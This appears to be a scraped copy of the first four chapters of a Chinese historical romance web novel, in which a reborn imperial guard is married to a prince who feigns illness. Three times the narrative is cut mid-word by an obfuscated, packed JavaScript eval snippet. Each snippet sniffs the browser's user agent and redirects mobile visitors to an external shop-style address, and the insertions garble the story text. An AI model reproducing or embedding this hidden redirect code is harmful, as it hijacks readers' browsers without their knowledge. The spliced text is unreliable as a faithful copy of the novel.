《咸鱼和亲》 1. 第一章 《咸鱼和亲》 文/弃脂焚椒 大火烧了整整三个时辰,半座皇宫已经化作灰烬。 禁军们死的死,逃的逃,年仅四岁的小皇帝身边,只剩下最后一名暗卫。 延和殿内,一身黑衣的宋明稚,用指腹擦去天子脸上的脏污。 伴着宫殿燃烧发出的噼啪声响,展颜一笑:“陛下害怕吗?” 小皇帝摇头,攥紧了手心:“不怕——” “好,”宋明稚轻声叹道,“陛下无愧为文帝的后辈。” 火光映亮了那双水蓝色的眼瞳,原本就明艳的五官,在这一瞬显得愈发张扬。 就连横贯于面颊之上的刀疤,都不再那么狰狞。 楚文帝慕厌舟,挽狂澜于既倒,扶大厦之将倾。 当年正是他以一己之力重整河山,生生为大楚延续了百年国祚,成就千秋盛世。 只可惜这一回,大楚终究没能等来第二个文帝。 …… 火势越来越大。 宋明稚抱着小皇帝,缓步走向龙椅,躬身将他放了上去。 烈火在此刻燃向大殿,金丝楠木制成的房梁终于不堪重负,轰然倒塌。 柱上金龙怒目,吐出最后一口火焰。 “轰——” 最后一刻,宋明稚忍不住轻轻地叹了一口气。 宁为太平犬,不为乱世人。 生于乱世的他,此生最大的遗憾,莫过于未曾亲眼见证过当年的锦绣繁华。 若有下辈子,定要生在太平时。 要是能当个混吃等死的富贵闲人,那就再好不过了…… 光佑三年,楚亡。 国祚一百四十一年。 - 天光渐暗,落日熔金。 地处皇城以南的西域驿馆里,挂满了红绸。 吉时将近,驿馆内人声鼎沸,喜娘也已整齐候在了门外。 与此同时,卧房内—— 小厮打扮的西域少年,却一脸焦急地催促着:“稚公子,您怎么还不点香?不是说要弄晕喜娘,再逃亲的吗?” 方才还在许愿的宋明稚,怎么也没有料到“来世”居然转眼就到。 还没有反应过来的他,下意识重复了一遍:“……逃亲?” 谁要逃亲? 话音未落,晚风乍起。 撩动了宋明稚鲜红的衣袖。 见状,他的脸色突然一变,下意识抬起眼眸…… 暮光穿过窗棂,落在了铜镜上。 好似一簇火苗,点燃了镜子里他那双狭长、微挑的水蓝色桃花眼,与眼下那一粒小小的泪痣。 哪怕素面朝天,仍秾丽得过分。 是他熟悉的样貌没错,唯独面颊上少了一道丑陋的刀疤。 少了那道……七岁起,便落在他脸上的伤疤。 宋明稚的心骤然一空。 “稚公子,”眼见时间所剩无几,宋明稚依旧守着香炉,犹豫不决,小厮不禁替他着急了起来,“齐王府的人就快要来迎亲了!” 说完,他便将火折子,塞到了宋明稚的手中。 烈火灼烧身体的剧痛,似乎还没有完全消失。宋明稚忽地蹙眉,凭借本能丢掉了手里的东西。 火光倏然熄灭,只余青烟袅袅。 桌上那尊香炉也被他打翻在地,散发出淡淡的香气,同时生出“砰”一声轻响,于刹那之间,唤醒了宋明稚的神智。 稚公子,齐王,迎亲……? 几个不算陌生的字眼,随即闯入了他的脑海之中。 楚文帝慕厌舟,登基以前就是“齐王”,此后的一百多年时间里,再也没有皇子获得过这个封号。他勤于政务、夙夜在公,直至驾崩都空设后宫,仅早年当皇子的时候,被他那个昏君父皇赐过一场婚。 与他成婚之人,来自西域的“述兰国”,如果自己没有记错的话……似乎是被称作“稚公子”来着? 宋明稚的呼吸不由一停。 心头倏地生出了一个荒谬的猜测。 ……不,不会吧? 迎亲的队伍吹打着来到了驿馆。 卧房外,喜娘也已经准备妥当,此时正转过身来,小声朝屋内提醒:“稚公子,酉时到了。” 小厮攥紧了手心,转过身便要堵门。 “慢着——”宋明稚则凭本能开口,拦下了他的动作。 小厮不解地回过头去:“公子?” 宋明稚终于回过神来,将目光落回了香炉。 身为暗卫,他一眼便看出: 眼前这炉迷香产自于西域,它的药效强、起效快,但是在来中原的路上,已经受潮且变质。 宋明稚的心不禁重重一沉…… 历史上的“稚公子”显然没有发现这一点。 他点燃了这炉迷香,非但没能够顺利逃走,还因此事惹恼了皇帝,最终被下旨禁足于偏院,没多久便郁郁病亡。 同样是在今天: 齐王的恩师不慎触怒了那个昏君,被施以重刑。 有人第一时间,跑去向齐王求助,然而那时的王府,正因为原主而乱作一团。等消息传到齐王耳边的时候,恩师已经饮恨而终。 朝堂也随之大乱。 重生一世,宋明稚可不想找死:“不能逃……!” 小厮大惑不解:“不,不逃了?” 公子为了逃亲,准备许久,为什么要在最后关头…… 宋明稚迅速俯身,捡起地上的香炉,推开窗户倒掉了里面的东西:“香料已经变质了。” 话音落下的同时,他已彻底毁尸灭迹,并顺手将香炉放回了原位。 小厮愣了愣,慌忙称:“是。” 同时蹲身将火折子收了起来。 也不知道是不是自己的错觉…… 公子好像突然之间镇定了不少,甚至一举一动,也变得格外利落。 没有时间再细想。 喜娘的声音穿过门,落在了卧房内:“稚公子,该准备上轿了。” 小厮站起身便看见—— 宋明稚已在铜镜前,随手整理起了衣襟,完全恢复到了平日里的模样。 同时,淡淡道:“进来吧。” 目睹一切的小厮:“……?” 他没有忍住用力揉了揉眼睛。 不,不是吧…… 转眼间吉时已至。 喜娘走进门,为宋明稚盖上了喜帕。 还不等小厮想明白这是怎么一回事,宋明稚已从容走出了卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267384|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房。 小厮:“公子,等等我!” 说着,他便慌忙跟上前去。 大婚前夕,齐王旧疾复发,如今他正在静养,婚事也随之从简:既没有三媒六聘,也无需经历送嫁、拜堂的仪式。 缀满红绸的花轿穿过长街。 伴着喧天的锣鼓声,朝齐王府而去。 欢歌笑语之中,没有人觉察到—— 有黑衣人紧随其后潜入了驿馆,将一鼎小巧的香炉,藏在了自己的衣袖之中。继而身着骑快马,绕过人群,将它送到了齐王府内: “启禀殿下……” “稚公子他没有点香逃亲。” …… 彩瓷的鸳鸯正于灯下交颈。 绣金的花鸟屏风,将喜房一分两半。 宋明稚头盖喜帕,端坐在榻上,鼻间还漫着一股甜香。 宋明稚:“……” 这是宫里“助兴”用的合.欢香。 鲜红的喜帕下,宋明稚缓缓蹙起了眉。 大楚前后十四代帝王,个个贪淫重欲,唯独齐王出淤泥而不染,以至于曾被传说是断袖。 这场婚事便由此而来…… 思及至此,宋明稚的心情,瞬间变得分外沉痛: 洁身自好、不近女色,就一定是断袖了吗? ——以己度人! 喜娘差事已了,行礼退出了洞房。 没过几息,宋明稚便听见,远处传来了一阵嘈杂的声响。 时间差不多了。 宋明稚默默攥紧了手心里的红绸。 接着,不动声色地朝小厮吩咐道:“去看看,外面有何事。” “是,公子!” 踢踏的脚步声,透过喜帕,传到了宋明稚的耳边。片刻过后,他便听小厮回到喜房,朝自己道:“回公子的话,外面有人来王府,找齐王进宫,帮忙去向皇帝求情。” “似乎是齐王的什么老师,出事了……” 宋明稚:“!!!” 历史果然如自己所料。 宋明稚长舒了一口气。 轻轻地合上双眼,如释重负道:“好,我明白了。” 恩师之死,是齐王一生的遗憾。 重生一世,没有自己半途搅局,殿下果然早早就收到了消息。这一世……自己终于可以坐看风云,亲眼见证殿下是如何力挽狂澜、大杀四方,最终改变历史的了! “怦怦,怦怦——” 宋明稚的心,重重地跳了两下。 手里的红绸,似乎也跟着发起了烫。 原主不是断袖,所以才会铤而走险,选择逃亲。但是他不知道,齐王乃正人君子,半点也不好男风。 ——这门亲事,也并非对方所愿。 身为“齐王妃”,往后自己只需…… 安安静静地在王府后宅充当摆设,饱食终日、随遇而安,绝不给殿下添乱、找事。直到最后,主动和离、腾空后宫,如历史上那般,还他一个清静! 宋明稚蓦地睁开了双眼,用力掐了自己一下。 修剪平齐的指甲,深深嵌入皮肉。 痛意瞬间自掌心蔓延开来。 宋明稚:“嘶……” 原来天上是真的会掉馅饼? 2. 第二章 事了拂衣去—— 宋明稚摘下喜帕,自榻上站了起来。 “好了,早些休息吧。” 小厮回过了神来,惴惴不安地看向宋明稚:“公子,今晚的洞房要怎么办……” 他方才出门的时候,已仔细地看过: 与驿馆不同,齐王府内部戒备森严,今晚他们两人,恐怕没有机会再逃了。 “不必担心,”宋明稚坐在了妆奁前,抬手去拆发顶的凤冠,同时,从容不迫道,“恩师有难,殿下一定会出手相助,今天晚上,他十有八.九不会回王府。如此一来,我与殿下恐怕连面,都见不上一面。” 小厮忙上前去帮他:“但是往后——” 宋明稚轻轻摇头道:“更何况。” 原主不知道齐王并非断袖,这才会冒着险逃亲。 未免小厮怀疑,宋明稚换了个角度道:“更何况,齐王殿下旧疾复发,如今正在养病,近来大可不必忧虑。” 小厮:“……?” 小厮:“……!” 等等,等等等等! 小厮的动作猛地一顿—— 他突然瞪大了双眼,仿佛见了鬼一般,惊恐地望向宋明稚:“可,可是稚公子,您前两天不是还同我说,那个断袖是在装病,于家中偷懒吗?” 宋明稚:“?” 断袖,装病,在家,偷懒…… 这都是什么和什么。 齐王殿下向来勤于政务,宵衣旰食,这一点举世皆知,原主他究竟是从哪里,听来这些奇奇怪怪的谣言? 小厮越说越起劲:“况且像他那种金玉其外,败絮其中的人,怎么可能进宫,去干正事?” 齐王他整日招猫逗狗、不思上进,“朽木”之名早已经传遍天下。 就连远在述兰的自己,都有所耳闻。 “而且他……” 见小厮还在继续诋毁。 宋明稚终于忍不住道:“不得对齐王殿下无礼——” 他的声音,虽不带任何的情绪。 却透着一股迫人的寒意。 小厮被他吓了一跳:“是,是,公子……”手指也随之重重一颤,将一支金钗,摔在了地上。 小厮愣了愣神,慌忙便要去捡。 然而,他还没有来得及弯下腰,宋明稚已俯身,触向了那支金钗:“不必。” 喜房里的东西,都沾了合.欢香。 身处其中,宋明稚的精神,不自觉地放松了下来。他起身将金钗递给了小厮。同时,默默地反驳道:“齐王断袖一事,只是传闻,未必是真。” 小厮:“啊?” “况且殿下身为亲王,怎么可能空有其表?他的才学,还有……” 红绡帐前,灯火幽微。 话未说完,宋明余光便见—— 有人伸手,接过了金钗。 他手指修长、骨节分明,腕上还有一颗浅痣。 这是…… 宋明稚:“?!” 他下意识抬眸,看向了铜镜。 什么时候有人到喜房里来了! 晚风穿过窗棂,吹得屋内红绸翻飞。 烫金的喜字下,有人一袭红衣,松松散散地遮尽了月色。 他一双凤眸狭长微挑,薄唇浅淡含笑,浑身上下……都透着股醉玉颓山的薄情风.流气。 此时,正好奇笑道:“还有什么?” 今晚是洞房花烛夜。 能够正大光明出现在这里的只有…… “齐王殿下……!” 宋明稚迅速起身,朝着背后看去。 接着便见慕厌舟将手指抵在唇边:“嘘——” 宋明稚瞬间噤声:“!” 与此同时。 喜房门外,突然传来了一阵脚步声。 求助的人,已经走到了门前,他叫来一名侍从,急急忙忙道:“快些去禀告你家齐王,就说陛下被杜大人气到了,方才发话,说要重重罚他!” 情急之下,来人未能压低声量。 这番话直接穿透槅门落进了屋内。 ——抚平遗憾,就在今日! 宋明稚的心跳,快得几欲冲破胸膛。 他竖起了耳朵,迫不及待,准备见证历史,没想竟听见…… 慕厌舟压低了声音,对自己道:“和外面的人说,我旧疾复发,如今正卧病在床,一时半会应该是醒不来了。” 宋明稚:“……卧病在床?” 他蓦地抬起头,不可置信地看向慕厌舟。 殿下他怎么会说谎。 卧病在床·慕厌舟:“咳咳咳……” 他默默清了清嗓子,略微心虚地移开了视线。 慕厌舟的身后…… 小厮瞬间来了精神:你看看,我就说! 宋明稚:“?” 事情似乎有哪里不太对。 还不等宋明稚回过神来。 喜房外,已有侍从上前,以过分喧闹、妨碍静养为由,劝说着,将人带向别处。 不是,等等啊!!! 暗卫不得妄议朝事。 然而此刻的宋明稚,终是没能够忍住,瞳孔地震道:“殿下今晚,不进宫吗?” 慕厌舟轻轻地揉了揉肩。 他放下金钗,随口道:“进宫去做什么?杜大人心直口快,整日惹父皇生气,今天应该也不是什么大事。” 杜大人的确刚直不阿,常令那昏君不悦。 但是,但是…… 宋明稚强行压下震惊,怀着最后一丝期望,提醒慕厌舟道:“可是殿下,外面的那个人方才说,陛下这一回要重罚杜大人。若他真的出什么事……朝堂定会生出波澜,殿下不担心吗?” 慕厌舟缓缓朝他眨了眨眼睛。 宋明稚的心中,突然生出了一阵不祥的预感。 他试探着唤了声:“殿下?” “嘶,头好疼……” “?” 夜风钻进窗。 拨响了榻前的珠帘。 慕厌舟坐在了榻上,将手抵在额上。 末了,懒声道:“朝堂上的那些事,一件比一件复杂,我还是别掺和了。” 齐王与杜大人亦师亦友,流芳百世。 宋明稚不禁目瞪口呆道:“那杜大人怎么办?” “虽然不知道杜大人他今日,究竟所犯何事,但此时……父皇的气一定还没有消,”慕厌舟叹了一口气,缓缓摇头道,“多一事不如少一事,我还是别去惹他为好。” 接着便转过身来,认真地看向宋明稚的眼底:“所以说,还是算了吧。” 算,算了吧。 宋明稚:“???” 楚文帝能力挽狂澜,靠的就是敢为人之所不敢为,殿下他就算不救杜大人,也绝不该是因为害怕惹父皇生气。 “再说了,”慕厌舟斜倚在喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267385|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻边,仔细同宋明稚分析道,“父皇这样做,自然有他的道理,这原本就不是我们应该忧心的事情。” 世人皆知,当今圣上纵.情声色、昏庸无道,朝政全把持于奸相手中。 他可是个遗臭万年的大昏君。 他能有什么道理? 宋明稚的大脑,突然一片空白。 就连耳边也嗡嗡作响。 原主为了逃亲已有一天没能合眼。 合.欢香的药力,也在随情绪的起伏,而不断增强。 万幸—— 原主曾习过武。 宋明稚立即调动内力,强行压下了身体内的不适。还完全未缓过劲来,便听慕厌舟道:“时间不早,睡了。” 话音落下,便有侍从上前,带着小厮离开了喜房。 转眼之间,屋内静得只剩下红烛燃烧,偶尔发出的三两声轻响。 “……” 天下兴亡皆系齐王于一身。 没有什么比殿下的身体更加重要。 宋明稚只得咬牙道:“是,殿下。” 鸳鸯帐下,灯火幽微。 慕厌舟倚坐榻前,缓缓垂下了眼帘。 罩了红绢的宫灯,泄出一丝亮光,如胭脂般,点在宋明稚的面颊。 他五官秾艳,长眉微蹙…… 此时,已强压下眼底的急切,朝自己道:“时间的确不早,我就不打扰殿下休息了。” 慕厌舟闭上眼,轻轻地笑了一下。 末了,饶有兴味地用手指。 在榻上轻点了两下。 “打扰什么?” 宋明稚并没有多想:“殿下旧疾复发,应当以养病为重,我就不打扰殿下休息了。”说着,他便行礼上前,去抱榻上那床多余的锦被,打算在软榻上,凑合过今晚。 然而…… 就在宋明稚俯身的那一刻。 榻上的人竟然微一用力,攥住了他的手腕:“没事。” 宋明稚:“……诶?” 他的心头忽地涌出一丝不安。 灯烛轻晃。 晃乱了夜色。 房间里的气氛,暧.昧得有些过分。 宋明稚意识到不对,试图挣脱手腕上的束缚。谁知道他非但没能使出内力,原本被强压下去的合.欢香药力,竟然也在一瞬之间,爆发了出来。 大事不妙! 宋明稚的指尖还没有触到锦被,人却已经被对方轻拽着,倒向喜榻。 花烛滴泪,罗帐昏。 两人的呼吸倏地交缠在了一起。 酥麻感似蚂蚁,攀向四肢百骸,危险的气息忽如烟雾一般,弥散开来。 宋明稚:“……!” 殿下这是要干什么? 慕厌舟抬手,捻断了烛火。 一团漆黑中,宋明稚怀着最后一丝希望,用手撑在榻边,尝试着起身。 然而下一刻…… 慕厌舟竟然俯下身去,轻轻地吹了吹宋明稚的睫毛。 闭上眼睛,在他的耳旁道:“春宵一刻值千金。” 他的声音清润中略带一点沙哑。 如秋风拂水,顷刻间冲淡了宋明稚的昏沉。 宋明稚:#-%*#^&% 宋明稚的天,瞬间塌了一半。 他的大脑一片空白,一时之间,竟然没能听懂慕厌舟究竟在说什么东西。 ……春,春什么? 3. 第三章 芙蓉帐暖度春宵。 慕厌舟抬手触向宋明稚发间的凤簪。 宋明稚目光倏地一凝,暗卫的本能催使他以指为刃,“啪”一声拍在了对方手上。 凤簪随之坠地,生出一阵细响,浅金的长发忽如瀑布倾泻在榻边。 慕厌舟:“……嘶。” 世界,顿时安静了下来。 宋明稚:“!!!” 暗卫不得冲犯皇室,宋明稚从不曾料到,有朝一日,自己居然会犯如此严重的原则性错误。 ……一想到自己打了未来的天子,他瞬间万念俱灰,当下连埋在哪里都想好了。 无暇深思。 宋明稚连忙起身,向齐王告罪。 然而,他还没有来得及躬下身,耳旁竟然先传来一声……赞叹? “西域民风果然彪悍。” 不是吧。 负荆请罪·宋明稚:“……?” 他的心中突然生出一阵不祥的预感。 宋明稚一点一点地抬起了眼眸。 今天晚上,齐王始终目光清明、面色如常,看不出一丝一毫的不适,完全不像大病初愈之人。 原主的话,有没有可能是真的? 错已经犯下,宋明稚死也要死个明白,他深吸一口气,横下了心来,直接破罐子破摔道:“殿下的身体——” 宋明稚原本打算旁敲侧击。 万万没有料到,慕厌舟竟然半点都不避讳。 他顺手抱起靠枕,倚在榻边,随口道:“装病而已,没事。” 宋明稚喃喃道:“装,装病……” 他不自禁用力,扯断了榻前的珠帘。 慕厌舟默默地坐直了身:“。” 宋明稚轻轻垂下眼帘…… 现如今,大楚积弊虽深,但是表面上仍能维持平静。 按理来说,齐王本应该前往凭州出任“都督”一职,可惜因病未能成行。这一耽搁,直到三年后他才再获良机,手握重权、步入政坛。然而那时的天下,已是风雨飘摇,只剩下一个烂摊子。 后世公认—— 这三年间,若是有殿下在朝中,事态定然会有所不同。 宋明稚原以为生老病死,皆是天意。可是他做梦也没有想到……这场病,竟然会是假的。 鸳鸯帐下,玉珠滚地。 嘈嘈切切,打碎了一室的寂静。 宋明稚缓缓咬牙,攥紧了手心。 齐王殿下绝不会平白无故装病,他这样做一定有自己的道理! 话已经说到这里,宋明稚索性打破砂锅问到了底:“殿下为何要装病?” 慕厌舟眨了眨眼,“凭州山高水远,单单是路上,就要颠簸数月,更何况……”他起身,端起酒盏,理所应当道,“那种寂苦之地,哪里能比得上京城繁华?” 宋明稚不信这个邪—— 他快步上前,追问慕厌舟道:“殿下贵为亲王,总不能真的装一辈子病,往后又有什么安排?” 慕厌舟思索片刻,认真答道:“往后……随便挂一虚职,当个闲散亲王,似乎也不错。” 宋明稚:“……啊?” 殿下当闲散亲王了,那这天下该怎么办。 楚朝诞生之前,那短短一百年的时间里,天下政权足足更迭了七次之多。若是没有齐王,大楚也必将步它们的后尘,成为历史上又一个短命王朝。 覆巢之下安有完卵? 乱世之中,战火连天。 别说当什么富贵闲人,届时连逃都无处可逃…… 合.欢香的药力愈发重。 接二连三的打击之下,宋明稚已彻彻底底地将历史抛到一边,全凭本能发问:“除此以外,殿下难道没有其他打算了吗?” 慕厌舟缓缓蹙眉,陷入深思。 几息后,他突然拖长了语调,故作认真地开口答道:“哦,还有——” 还有? 宋明稚的眼睛瞬间亮了回来。 我就知道,齐王殿下的野心,定然不止于此。 慕厌舟清了清嗓子,郑重其事道:“除此以外,还有与爱妃长相厮守。” 宋明稚:“?” 宋明稚踉跄着,坐在了桌案边。 头晕目眩之下,他的天,终于塌了个彻彻底底。 …… 夜半时分,更深露重。 宋明稚始终独坐桌边,沉默不语。 慕厌舟没再多打扰他,转而朝门外道:“来人,清扫内室——” “是,殿下。” 夜风灌入屋内,冲散了一室的旖旎。 侍从俯首弓身,走进喜房,清扫起了地上的落珠。 宋明稚则轻咬下唇,缓缓地闭上了双眼。 齐王是已故的“贤平皇后”膝下独子,老皇帝虽然沉湎于酒色、不理朝政,是一个出了名的昏君。但是他对于发妻之子,向来非常关心。 这一点后世无人不知,无人不晓。 不同于前几代皇帝依靠宫变夺位。 齐王从受封太子,再到继位登基,这一路走得名正言顺、毫无阻碍。不仅深受皇帝信任,就连朝臣也对他格外拥簇。 宋明稚甚至找不出他有什么理由,需要韬光养晦。 重生一世,究竟是哪里出了差错? 等等…… 重生一世?! 宋明稚突然睁开了双眼,喃喃道:“……我知道了。” 世上没有什么是独一无二。 既然我能重生一世,莫名其妙地回到百年之前。 那会不会也有其他的孤魂野鬼…… 占据了齐王殿下的躯壳? 宋明稚蓦地起身,看向桌案。 除了茶盏,这里还有一套笔墨纸砚。 屋内的侍从忍不住偷偷看了过来。 慕厌舟也好奇地凑上前:“你要做什么?” 宋明稚起身站在了桌边。 接着摊开纸张,将笔塞到了他手中,冷酷道:“写。” 宋明稚上一世在宫中见过齐王的字。 只要前的人写,他就能以此分辨出,眼前的究竟是人还是鬼! “……写倒是能写,”慕厌舟虽有些疑惑,但还是配合道,“什么字?” 宋明稚眼前的景物,正在摇摇晃晃。 他用手指在桌上写:“我的中原名,宋明稚。” 宋明稚七岁那一年,崇京大乱。 沦为孤儿、流落街头的他,被带入暗卫营之后,才有了这个名字。而“明稚”这两个字,正是由当时的暗卫统领,从慕厌舟为一座书斋,所题写的匾额中取来的。 宋明稚绝对不会认错! 鸳鸯帐前,烛影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267386|151711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇红。 灯火晃耀,映亮了杯中的美酒,与窗上的喜字。 宋明稚于半梦半醒间凑上前去,垂眸就见慕厌舟提笔、落墨,转瞬,纸上便多了三个大字。 ——蚕头燕尾、凤泊鸾漂。 与那座书斋里的一模一样。 慕厌舟放下了笔,颇为满意地转过身问:“怎么样,爱妃?” 宋明稚:“……” 这比杀了他还要他难受。 他心如死灰道:“我要一个人静一静……” 困倦感如潮水一般涌了上来,宋明稚沉沉地闭上了双眼。他隐约看见……侍们从清理完落珠,随齐王一道,离开了喜房。 王府内人多眼杂,今夜的事,想来要不了多久,就会传遍整座崇京城,甚至传到皇帝的耳边去。 混沌中,宋明稚只一个念头: 自己的言行大伤皇家颜面,定会被施以重罚。 杜大人在黄泉路上…… 或许不会孤单了。 - 一炷香时间过后。 齐王府,徽鸣堂。 慕厌舟斜倚在榻,随手把玩着香炉。 有侍从屏息凝神,跪在榻前:“……齐王殿下,不知稚公子他,要如何处置?” 护送稚公子进京的队伍,早传来密信,称他决心逃亲。备好了迷香,计划在抵达驿馆、官兵撤离之后,便逃离此地。殿下也打算顺水推舟,放他离开崇京。或是养在后宅,当个摆设,二人井水不犯河水。 但是今日,稚公子非但没有逃。 言行举止,还处处都透着诡异! 话里话外,既像知道了点什么—— 更像是在试探殿下与杜大人的关系,还有他是否如传说那般,是个只知道享乐的断袖。 无论怎么看,都像是到了崇京后,被人买通,安插在了殿下身边当眼线! 只不过,言语之间未免过分直白,简直是将“奸细”两个字写在了脸上。 也不知殿下打算如何处置。 思及至此,侍从不由抬起眼眸问:“是杀,还是……” 慕厌舟缓缓地放下了香炉。 片刻,方才漫不经意地拿起丝帕,拭向指尖。 含着笑,懒声道:“先留着吧。” ……先,先留着? 侍从不自觉打了一个寒战。 他愣了愣,瞬间明白过来—— 这样的奸细,杀了一个,又会送来一个。与其冒着风险杀掉他,还不如将这个藏不住心事的,留在殿下身边。 他若想试探,那便演给他看。 “遵命,殿下。” 慕厌舟起身朝徽鸣堂内而去。 侍从正欲退下,却见他脚步一顿,懒懒道:“明日一早,将‘酌花院’收拾出来,给王妃居住。再送些金、玉,到他的院中。” 齐王府建于前朝,居住过数位亲王。 而位于后宅正中,临泉而建“酌花院”,正是这座府邸最早的主人,专为宠妃所建。 齐王殿下的意思是…… 慕厌舟轻轻眯了眯眼睛。 末了,饶有兴味地用手指蹭了蹭窗间的喜字。 他低声念道:“宋明稚……” 少焉,眸中竟忽地漾满了笑意:“对外,便说我对他……一见倾心,就喜欢这样的性子。” 4. 第四章 翌日一早,齐王府前院。 春风荡尽了昨夜的寒凉,吹开一树桃花。 天刚蒙蒙亮,宋明稚便被一阵脚步声吵醒: “快些走,别让陶公公等太久!” “来了,来了……” 声音自喜房门外而来,低低切切。 但向来浅眠的宋明稚,还是忽地睁开了双眼。他下意识屏住了呼吸,探手去摸枕头下的匕首,不料竟触到一团空。 宋明稚的手指,不自觉蜷缩了一下。 昨天发生的事,也随之一点一点地浮现在了他的心间。 宋明稚:“……” 与此同时—— 侍从端着茶盏,快步走过了门前: “你说,宫里这么早来人做什么?” “我方才听……似乎是来询问昨天夜里,洞房那事的!” “殿下他是怎么说的?” “他说这是夫妻之趣,让陶公公别来扫兴……” 宋明稚:“?” 宋明稚:“!” 夫妻之……趣? 喜房外的闲谈声。 将宋明稚的思绪拽了回来。 他猛地攥紧手心,直挺挺地自榻上坐了起来……昨天晚上,自己不仅动手打了齐王殿下,甚至还将他赶出了洞房,独占了这张喜榻,简直是大逆不道。 齐王殿下崇礼重法、恩威并施…… 他今日为何不重重地罚我? 这不合常理! …… 事出反常,必有妖。 未来重整天下河山、成就千秋盛世的齐王慕厌舟,怎么可能会是一个胸无大志、不思进取的断袖? 冷静下来—— 宋明稚自然不会相信。 卯时,晨雾尚未散尽。 宋明稚已换上了原主为逃亲,备好的素衣、帷帽。悄无声息地绕过守卫,按照记忆,找到了杜府——眼见为实,耳听为虚,他今日定要亲眼看看,杜大人现在究竟是不是如历史中说的那样,身受重刑、危在旦夕。 “吱呀……” 屋门缓缓地敞了开来。 宋明稚驾轻就熟地绕过守卫,走进了杜府正房。还未站定,就嗅到了一阵浓浓的药香。 素面屏风之后,宋明稚隐约看见: 一个须发皆白、眼眶深陷的老翁,正赤.裸着上身、趴在床榻之上。他的背后,有数道触目惊心的伤口,仍在不断地向外渗着鲜血。 这分明就是被打了! 宋明稚的心不禁重重一沉。 他迅速绕过屏风,走进了内室之中—— 此时,两名侍从,正在榻前替杜大人处理着伤口。然而,他背上的伤口,实在是太过于深,半晌过去,两人都没能成功替他止住鲜血。 此时正如热锅上的蚂蚁。 急得团团打转: “直接上药好像没有用。” “完了,若是一直叫不来太医,那该怎么办……” “大人伤势严重,再这样下去,恐怕就要有性命之忧了!” 眼前的这一幕与历史上相同: 吏部尚书杜山晖,直言进谏,激怒了当今天子。而那个昏君不但于盛怒之下,将他当庭杖责,还命他“忍痛思过”,太医们也因此不敢来看诊。 杜山晖年过七旬,本就经不起杖责。 回府后又没能好好处理背上的伤口,没过多久,便因失血过多,而一命呜呼。 宋明稚:“……” 算了,来都来了。 见两人手忙脚乱,半天也没能止血,宋明稚终于忍不住走上前去,抬手便是“咚、咚”两下,打晕了尚书府内的侍从。 他将人放倒在地。 接着便快步上前—— 身为暗卫,宋明稚不仅仅武艺高强,医术也相当精湛,并且,尤其擅长处理外伤。担心夜长梦多,他立刻伸出手指,用力封住了杜山晖背后的几大穴位。 然而,宋明稚刚拿起伤药。 耳边便突然传来了一声:“嘶……” 杜山晖被痛得睁开了双眼。 宋明稚:“!!!” 他虽然戴着一顶帷帽,遮住了面容和长发,但见杜山晖醒来,宋明稚还是第一时间便低下了头,迅速朝着屏风退去。 尚书府正房,门窗紧闭,偌大的屋内,只点着一根蜡烛。宋明稚隔着昏幽的烛火,看向了那双因为苍老,而变得格外浑浊的双眼。同时打起了十二万分的精神,准备应对他的提问。 万万没有料到的是—— 杜山晖只是深深地看了他一眼,接着又阖上眼,睡了过去。 等等……! 你不问问我究竟是谁吗? 宋明稚当了一辈子暗卫,也不曾遇到这样的情形。 他下意识用力,攥紧了手中的伤药。 奇怪…… 杜山晖他方才究竟是压根没有清醒过来,抑或,早就已经知道,有人会来这里帮自己疗伤? - 齐王府,前院。 春风拂动桃枝,卷起花落如雨。 檐下的护花铃也轻轻晃荡,生出“当啷”一阵脆响。 顷刻间,花香满院。 宋明稚神不知鬼不觉便回到了王府。 此时的天色早已经大亮,全府上下,都在忙着搬院。齐王的贴身侍从元九,于一片喜气之中,将宋明稚带到了徽鸣堂的正厅中。 同时,向他奉上了茶盏:“禀王妃,今早‘酌花院’还未收整出来,还请您先在此处,休息片刻。” 宋明稚不动声色地点了点头。 徽鸣堂是齐王日常起居之所—— 它面阔五间,内部锦天绣地,西边两间是一套卧房,东侧两间,则为书房。 这是崇京城里的富贵人家中,最常见的陈设、布局。 宋明稚自他手中接过了茶盏:“我明白了。” 同时,淡淡地朝东扫了一眼。 书房内有一整面墙,全都摆满了书架,慕厌舟常看的书籍,甚至于部分书信,全都正大光明地摆在架上。 自己或许能够在这里。 找到些许的蛛丝马迹…… 瞌睡了便有人递枕头—— 宋明稚刚刚想到这里,就见元九端起了茶盘,朝自己道:“殿下说,王妃若是无聊,可以看书解解乏。等他送走陶公公后,便来这里找您。” 宋明稚神色不变:“好。” 元九行礼,退出了徽鸣堂内。 转眼之间,屋内便没了声息。 宋明稚从来都不是轻言放弃之人—— 